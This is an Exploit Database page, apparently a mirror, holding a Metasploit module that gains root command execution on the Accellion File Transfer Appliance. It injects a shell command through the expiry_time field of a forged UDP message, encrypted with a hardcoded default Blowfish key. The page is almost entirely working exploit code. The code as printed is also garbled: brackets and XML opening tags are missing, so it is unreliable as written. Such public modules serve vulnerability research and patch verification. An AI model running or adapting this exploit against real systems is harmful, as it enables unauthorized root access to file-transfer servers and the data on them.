Accellion File Transfer Appliance MPIPE2 – Command Execution (Metasploit)

Exploit Database
120 阅读

作者： Metasploit

日期： 2011-03-11
类别：
- remote
平台：
- unix
来源：https://www.exploit-db.com/exploits/16964/

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# $Id: accellion_fta_mpipe2.rb 11935 2011-03-11 17:37:23Z hdm $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

require 'openssl'

require 'rexml/element'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::Udp

def initialize(info = {})

super(update_info(info,

'Name' => 'Accellion File Transfer Appliance MPIPE2 Command Execution',

'Description'=> %q{

This module exploits a chain of vulnerabilities in the Accellion

File Transfer appliance. This appliance exposes a UDP service on

port 8812 that acts as a gateway to the internal communication bus.

This service uses Blowfish encryption for authentication, but the

appliance ships with two easy to guess default authentication keys.

This module abuses the known default encryption keys to inject a

message into the communication bus. In order to execute arbitrary

commands on the remote appliance, a message is injected into the bus

destined for the 'matchrep' service. This service exposes a function

named 'insert_plugin_meta_info' which is vulnerable to an input

validation flaw in a call to system(). This provides access to the

'soggycat' user account, which has sudo privileges to run the

primary admin tool as root. These two flaws are fixed in update

version FTA_8_0_562.

'Author' => [ 'hdm' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 11935 $',

'References' =>

[

['URL', 'http://www.rapid7.com/security-center/advisories/R7-0039.jsp'],

'Platform' => ['unix'],

'Arch' => ARCH_CMD,

'Privileged' => true,

'Payload'=>

{

'Space' => 1024,

'DisableNops' => true,

'Compat'=>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic perl ruby bash telnet',

}

'Targets'=>

[

[ 'Automatic', { } ]

'DefaultTarget' => 0,

'DisclosureDate' => 'Feb 7 2011'

))

register_options(

[

Opt::RPORT(8812),

OptString.new('APPID', [true, 'The application ID (usually 1000)', '1000'])

], self.class)

end

def exploit

connect_udp

appid = datastore['APPID']

encoded_command = REXML::Text.new(payload.encoded).to_s

wddx = %Q|

<data>

<var name='50001'><string>insert_plugin_meta_info</string></var>

<var name='file_handle'><binary length='9'>MDAwMDAwMDAw</binary></var>

<var name='aid'><string>#{appid}</string></var>

<var name='recipient_list'><array length='1'><string>#{Rex::Text.rand_text_alphanumeric(8)}</string></array></var>

<var name='expiry_time'><string>'; #{encoded_command}; #'</string></var>

</struct>

</data>

</wddxPacket>|

packet = [

rand(0xffffffff), # Source Location ID

8888, # Destination Location ID

rand(0xffff), # Source Application

50001, # Destination Application (matchrep)

Time.now.to_i

].pack("NNnnN") + wddx

header = [

0, # Flags

0, #

1, # Sequence Number (must be the lowest seen from Source ID)

33 # Execute (pass message to destination)

].pack("CCNC") + packet

data = [ simple_checksum(header) ].pack("n") + header

enc= blowfish_encrypt("123456789ABCDEF0123456789ABCDEF0", data)

udp_sock.put("\x01" + enc)

handler

disconnect_udp

end

def simple_checksum(data)

sum = 0

data.unpack("C*").map{ |c| sum = (sum + c) & 0xffff }

sum

end

# This implements blowfish-cbc with an MD5-expanded 448-bit key

# using RandomIV for the initial value.

def blowfish_encrypt(pass, data)

# Forces 8-bit encoding

pass = pass.unpack("C*").pack("C*")

data = data.unpack("C*").pack("C*")

# Use 448-bit keys with 8-byte IV

key_len = 56

iv_len= 8

# Expand the key with MD5 (key-generated-key mode)

hash = OpenSSL::Digest::MD5.digest(pass)

while (hash.length < key_len)

hash << OpenSSL::Digest::MD5.digest(hash)

end

key = hash[0, key_len]

iv= Rex::Text.rand_text(iv_len)

c = OpenSSL::Cipher::Cipher.new('bf-cbc')

c.encrypt

c.key_len = key_len

c.key = key

c.iv= iv

"RandomIV" + iv + c.update(data) + c.final

end